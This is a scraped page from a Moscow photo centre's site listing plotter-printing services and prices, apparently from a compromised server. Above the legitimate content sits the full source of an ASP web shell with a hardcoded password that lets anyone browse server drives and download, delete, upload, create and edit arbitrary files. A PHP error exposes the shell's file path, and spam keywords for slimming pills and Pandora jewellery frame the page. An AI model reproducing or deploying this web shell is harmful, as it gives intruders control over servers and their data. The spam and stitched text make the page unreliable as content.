meizitang
slimming
diets
meizitang botanical slimming
<%@ LANGUAGE="VBSCRIPT" %> <% IntPass = "123123" Response.Buffer = true Response.Clear Dim Name,Password,Login If Not Session("Open") = "True" then%> Small System



Bad Request
click Back button if you were not redirected automatically after 1 minute .....  
<% Session("Open") = "True" Response.End else if Session("Enter") = "1" then else Login = "True" Password = Request.Form("Passw") If not Password = IntPass then Login= "False" If Login= "False" then Session.Abandon Response.Write "Wrong Canculation !!! Please Try Again !!!" Response.End else Session("Enter") = "1" end if end if End If sAction=Request.QueryString("action") if sAction="download_file" then download() end if sub Download() dim oStream dim szFileName szFileName=Request.QueryString("strPath") & Request.QueryString("strFile") set oStream=Server.CreateObject("ADODB.Stream") oStream.Type=1 oStream.Open on error resume next oStream.LoadFromFile(szFileName) if Err.Number=0 then Response.AddHeader "Content-Disposition", "attachment; filename=" & FSO.GetFileName(szFileName) Response.AddHeader "Content-Length", oStream.Size Response.ContentType="bad/type" Response.BinaryWrite oStream.Read end if oStream.Close set oStream=nothing Destroy() end sub %> <% action=request.querystring("action") Select Case action Case "delete_file" deleteFile() Case "download_file" download() Case "edit_file" edit_file() Case "create_folder" create_folder() Case "create_file" create_file() Case "upload_file" upload_file() Case "change_disk" change_disk() 'Case else End select if (action<>"edit_file") and (action<>"create_folder") and (action<>"create_file") and (action<>"upload_file") and (action<>"change_disk") then Main_display() End if %> <% '------------------------------------------------------------------------------ Private Sub Main_display() xPath=request.querystring("strPath") if xPath="" then xPath=Server.MapPath("/")&"\" Response.Write("") Response.Write("") strDir = Request("strPath") if strDir = "" Then strDir = Server.MapPath("/") strParse = strDir if Right(strParse, 1) <> "\" Then strParse = strParse & "\" lngPos = InStr(1, strParse, "\") strOut = "₪ " & Left(strParse, lngPos) & "
" x = 2 Do While lngPos <> 0 oldPos = lngPos lngPos = InStr(oldPos + 1, strParse, "\") if lngPos = 0 Then Exit Do For y = 1 To x strIndent = strIndent & " " Next strOut = strOut & strIndent & " ₪ " & Mid(strParse, oldPos + 1, lngPos - (oldPos + 1)) & "
" x = x + 2 if lngPos = Len(strParse) Then Exit Do Loop Response.Write("") Response.Write("
") Response.Write("ChAnGe DiR ::: ") Response.Write("CrEat nEw DiR ::: ") Response.Write("Born nEw File ::: ") Response.Write("UpLoad File ::: ") Response.Write("w@ck iT d0wn") Response.Write("
") Response.Write(strOut) strIndent = strIndent & " " Set objFSObject = CreateObject("Scripting.FileSystemObject") Set objFolder = objFSObject.GetFolder(strDir) Set colFolders = objFolder.SubFolders For Each intFol in colFolders strFName = intFol.name Response.Write(strIndent & "  ?" & strFName &"
" & vbcrlf) Next Response.Write("		") Set colFiles = objFolder.Files Response.Write("") For Each intF1 in colFiles strFName = intF1.name Response.write "" Response.write "" Response.write "" Next Response.Write("
♪ " & strFName &"◙ " & "Delete" & "◘ " & "Download" & "
") End Sub '------------------------------------------------------------------------------ Private Sub download() dim oStream dim szFileName szFileName=Request.QueryString("strPath") & Request.QueryString("strFile") set oStream=Server.CreateObject("ADODB.Stream") oStream.Type=1 oStream.Open on error resume next oStream.LoadFromFile(szFileName) if Err.Number=0 then Response.AddHeader "Content-Disposition", "attachment; filename=" & FSO.GetFileName(szFileName) Response.AddHeader "Content-Length", oStream.Size Response.ContentType="bad/type" Response.BinaryWrite oStream.Read end if oStream.Close set oStream=nothing Destroy() End sub '------------------------------------------------------------------------------ Private Sub deletefile() Set objFSObject = CreateObject("Scripting.FileSystemObject") objFSObject.DeleteFile(request.querystring("strPath") & request.querystring("strFile")) Response.redirect "old.asp?strPath=" & request.querystring("strPath") End sub '------------------------------------------------------------------------------ Private Sub upload_file() Response.Write("") Response.Write("
Upload File
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") if request.querystring("action_sub")="save" then dim PosB, PosBBound, PosEBound, PosEHead, PosBFld, PosEFld,strPath dim Boundary, BBoundary, PartBHeader, PartAHeader, PartContent, PartContent2, Binary dim fso, fle, rst, DataString, FileName dim I, Length, ContType, PartName, LastPart, BCrlf, PartContentLength const adLongVarBinary = 205 const adLongVarchar = 201 If Request.ServerVariables("REQUEST_METHOD") = "POST" Then ContType = Request.ServerVariables("HTTP_Content_Type") If LCase(Left(ContType, 19)) = "multipart/form-data" Then PosB = InStr(LCase(ContType), "boundary=") If PosB > 0 Then Boundary = Mid(ContType, PosB + 9) PosB = InStr(LCase(ContType), "boundary=") If PosB > 0 then PosB = InStr(Boundary, ",") If PosB > 0 Then Boundary = Left(Boundary, PosB - 1) end if Length = CLng(Request.ServerVariables("HTTP_Content_Length")) End If If Length > 0 And Boundary <> "" Then Boundary = "--" & Boundary Binary = Request.BinaryRead(Length) For I=1 to len(Boundary) BBoundary = BBoundary & ChrB(Asc(Mid(Boundary,I,1))) Next BCrlf = ChrB(Asc(vbCr)) & ChrB(Asc(vbLf)) PosBBound = InStrB(Binary, BBoundary) PosEBound = InStrB(PosBBound + LenB(BBoundary), Binary, BBoundary, 0) Do While (PosBBound > 0 And PosEBound > 0) PosEHead = InStrB(PosBBound + LenB(BBoundary), Binary, BCrlf & BCrlf) PartBHeader = MidB(Binary, PosBBound + LenB(BBoundary) + 2, PosEHead - PosBBound - LenB(BBoundary) - 2) PartAHeader = "" For I=1 to lenb(PartBHeader) PartAHeader = PartAHeader & Chr(AscB(MidB(PartBHeader,I,1))) Next If Right(PartAHeader,1) <> ";" Then PartAHeader = PartAHeader & ";" PartContent = MidB(Binary, PosEHead + 4, PosEBound - (PosEHead + 4) - 2) PosBFld = Instr(lcase(PartAHeader),"name=") If PosBFld > 0 Then PosEFld = Instr(PosBFld,lcase(PartAHeader),";") If PosEFld > 0 Then PartName = Mid(PartAHeader,PosBFld+5,PosEFld-PosBFld-5) end if Do Until Left(PartName,1) <> """" PartName = Mid(PartName,2) Loop Do Until Right(PartName,1) <> """" PartName = Left(PartName,Len(PartName)-1) Loop end if PosBFld = Instr(lcase(PartAHeader),"filename=""") If PosBFld > 0 Then PosEFld = Instr(PosBFld + 10,lcase(PartAHeader),"""") If PosEFld > 0 Then FileName = Mid(PartAHeader,PosBFld+10,PosEFld-PosBFld-10) end if Do Until Left(FileName,1) <> """" FileName = Mid(FileName,2) Loop Do Until Right(FileName,1) <> """" FileName = Left(FileName,Len(FileName)-1) Loop Else FileName = "" end if if vartype(PartContent) = 8 then Set rst = CreateObject("ADODB.Recordset") PartContentLength = LenB(PartContent) if PartContentLength > 0 then rst.Fields.Append "data", adLongVarBinary, PartContentLength rst.Open rst.AddNew rst("data").AppendChunk PartContent & ChrB(0) rst.Update PartContent2 = rst("data").GetChunk(PartContentLength) rst.close set rst = nothing else PartContent2 = ChrB(0) End If else PartContent2 = PartContent end if PartContentLength = LenB(PartContent2) if PartContentLength > 0 then Set rst = CreateObject("ADODB.Recordset") rst.Fields.Append "data", adLongVarChar, PartContentLength rst.Open rst.AddNew rst("data").AppendChunk PartContent2 rst.Update DataString = rst("data") rst.close set rst = nothing Else dataString = "" End If If FileName <> "" Then FileName = Mid(Filename,InstrRev(FileName,"\")+1) set fso = Server.CreateObject("Scripting.Filesystemobject") strPath=request.querystring("strPath") if strPath <> "" then If right(strPath,1)<>"\" then strPath= strPath & "\" set fle = fso.CreateTextFile(strPath & FileName) else set fle = fso.CreateTextFile(server.MapPath(FileName)) end if fle.write DataString fle.close set fle = nothing set fso = nothing else End If LastPart = MidB(Binary, PosEBound + LenB(BBoundary), 2) If LastPart = ChrB(Asc("-")) & ChrB(Asc("-")) Then PosBBound = 0 PosEBound = 0 else PosBBound = PosEBound PosEBound = InStrB(PosBBound + LenB(BBoundary), Binary, BBoundary) End If loop end if end if Response.redirect "old.asp?strPath=" & request.querystring("strPath") End if End sub '------------------------------------------------------------------------------ Private Sub create_folder() Response.Write("") Response.Write("
CrEat nEw DiR
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") if request.querystring("action_sub")="save" then strPath=request.querystring("strPath") Set objFSObject = CreateObject("Scripting.FileSystemObject") if strPath <> "" then If right(strPath,1)<>"/" then strPath= strPath & "/" objFSObject.CreateFolder(strPath & request.form("newSubF")) else objFSObject.CreateFolder(strParse & request.form("newSubF")) end if Response.redirect "old.asp?strPath=" & request.querystring("strPath") end if End sub '------------------------------------------------------------------------------ Private Sub create_file() Response.Write("") Response.Write("
Born nEw FiLe
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") if request.querystring("action_sub")="save" then strPath=request.querystring("strPath") Set objFSObject = CreateObject("Scripting.FileSystemObject") if strPath <> "" then If right(strPath,1)<>"/" then strPath= strPath & "/" objFSObject.CreateTextFile(strPath & request.form("newFile")) else objFSObject.CreateTextFile(strParse & request.form("newFile")) end if Response.redirect "old.asp?strPath=" & request.querystring("strPath") End if End sub '------------------------------------------------------------------------------ Private Sub edit_file() Set fso = Server.CreateObject("Scripting.FileSystemObject") File=request.querystring("strFile") Path=request.querystring("strPath") str_edit_File=Path & File response.write("" & str_edit_File & "
") action_sub=request.querystring("action_sub") Set ts = fso.OpenTextFile (str_edit_File, 1, FALSE, FALSE) If action_sub="save" then Set ts = fso.CreateTextFile (str_edit_File) ts.Write Request.Form("FileContent") Set ts = fso.OpenTextFile (str_edit_File, 1, FALSE, FALSE) Response.Write "Cool Man !!! You've saved this file successfully !!!
" End if Response.Write("
") Response.Write("
") response.write("
") End sub '------------------------------------------------------------------------------ Private Sub change_disk() Response.Write("") Response.Write("
ChAnGe DiR
") Response.write("
") Server.ScriptTimeout = 6000 Set fsDrive = CreateObject("Scripting.FileSystemObject") Set drvHack = fsDrive.Drives For Each drvType In drvHack strDrives = strDrives & "" x = x + 1 Next Response.write("
") Response.Write("
") End sub '------------------------------------------------------------------------------ Private Sub check_login() Response.Write("") Response.Write("
Đăng nhập
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") End sub '------------------------------------------------------------------------------ %>
Warning: Cannot modify header information - headers already sent by (output started at d:\hst\artfotocente-ru_537b841b\http\webgear\Core\old.asp:107) in d:\hst\artfotocente-ru_537b841b\http\index.php on line 48
АртФотоЦентр / Плоттерная-печать
АртФотоЦентр - Люди. Мастерство. Искусство.
АртФотоЦентр: Москва, метро Чистые Пруды, Покровский бульвар, дом 1. Часы работы: Будни 10.00—21.00, (суббота и воскресенье выходной день).
Тел.: +7 (495) 916-22-82, (495) 916-18-97
   
Главная страница | Написать письмо
Цитата
Учитесь находить новое задолго до того, как оно таковым станет.

Главная страница | Плоттерная-печать
Плоттерная-печать
Canon iPF 8000
Наш плоттер обеспечивает широчайшую цветовую палитру в своём классе, а также отличается точностью цветопередачи при использовании самых разнообразных материалов для печати. Принтер оснащен первой в отрасли двойной печатающей головкой с высокой плотностью расположения сопел. Это обеспечивает передачу тончайших оттенков цвета, а также достоверность и четкость отпечатков. Добавление красных, зеленых и голубых чернил, а также двух разновидностей серых чернил обеспечивает широкую цветовую палитру, плавность цветовых переходов и получение высококачественных долговечных монохромных отпечатков.
Максимальная ширина отпечатка 110см.
Разрешение 2880х1440 dpi.
Наиболее популярные материалы, применяемые в печати: Матовые бумаги, холст, акварельные бумаги, полупрозрачная светорассеивающая пленка, самоклеющийся винил.
 
ПЛОТТЕРНАЯ ПЕЧАТЬ
Материал Разре-шение 20Х30  30Х40  40Х50  40Х60  50Х60  60Х70  60Х90  70Х105  105Х150  за кв.м

глянцевая/полуматовая Premium Glossy
190 г./кв.м.

 низкое 55р. 110р. 180р. 215р. 270р. 380р. 485р. 660р. 1420р. 900р.
высокое 70р. 140р. 240р. 290р. 360р. 500р. 650р. 880р. 1890р. 1200р.

Матовая бумага УЛЬТРАГЛАДКАЯ
210 г./кв.м.

 низкое 60р. 120р. 200р. 240р. 300р. 420р. 540р. 735р. 1575р. 1000р.
высокое 70р. 140р. 240р. 290р. 360р. 500р. 650р. 880р. 1890р.

1 200р.

холст Semiglossy/Glossy Canvas 20 mil

 низкое 144р. 288р. 480р. 576р. 720р. 1010р. 1300р.     2400р.
высокое 160р. 320р. 530р. 640р. 800р. 1120р. 1440р.     2 650р.

Специальные бумаги акварельная литографическая

 низкое 80р. 155р. 260р. 310р. 390р. 545р. 700р. 950р. 2050р. 1 305р.
высокое 90р. 180р. 300р. 360р. 450р. 630р. 810р. 1100р. 2360р. 1 500р.

материал клиента

 низкое 35р. 70р. 120р. 145р. 180р. 250р. 325р. 440р. 945р. 600р.
высокое 45р. 90р. 150р. 180р. 225р. 315р. 405р. 550р. 1180р. 750р.

 
ТРЕБОВАНИЯ К ФАЙЛАМ
Форматы файлов tiff, jpeg, psd, eps.
Цветовая палитра RGB или CMYK.
Очень желательна  конвертация векторных файлов в растровые.
Для печати изображений фотографического качества мы рекомендуем готовить их с разрешением 150-300dpi.

 
     
   
 

(495) 916-22-82
(495) 916-18-97

АртФотоЦентр: Покровский бульвар, дом 1.

© 2012 «АртФотоЦентр»
Перепечатка текстовых материалов допускается только с обязательной
ссылкой на источник — http://www.artfotocenter.ru

Аренда фотостуди Фотостудия в аренду Фотостудия
http://ostudios.ru/  - Фотостудия .QuattroFashion

Оцифровка, Видеосъёмка, Слайд-шоу, Разработка фильма, Видеомонтаж,
http://www.media-cinema.ru/  Видеопроизводство MEDIA-CINEMA.

Все представленные фотографии — собственность авторов. Разработка сайта StudioDP.
   


pandorapandora braceletspandora charmspandora jewelrypandora beadspandora necklacepandorapandora braceletspandora charmspandora jewelrypandora beadspandora necklace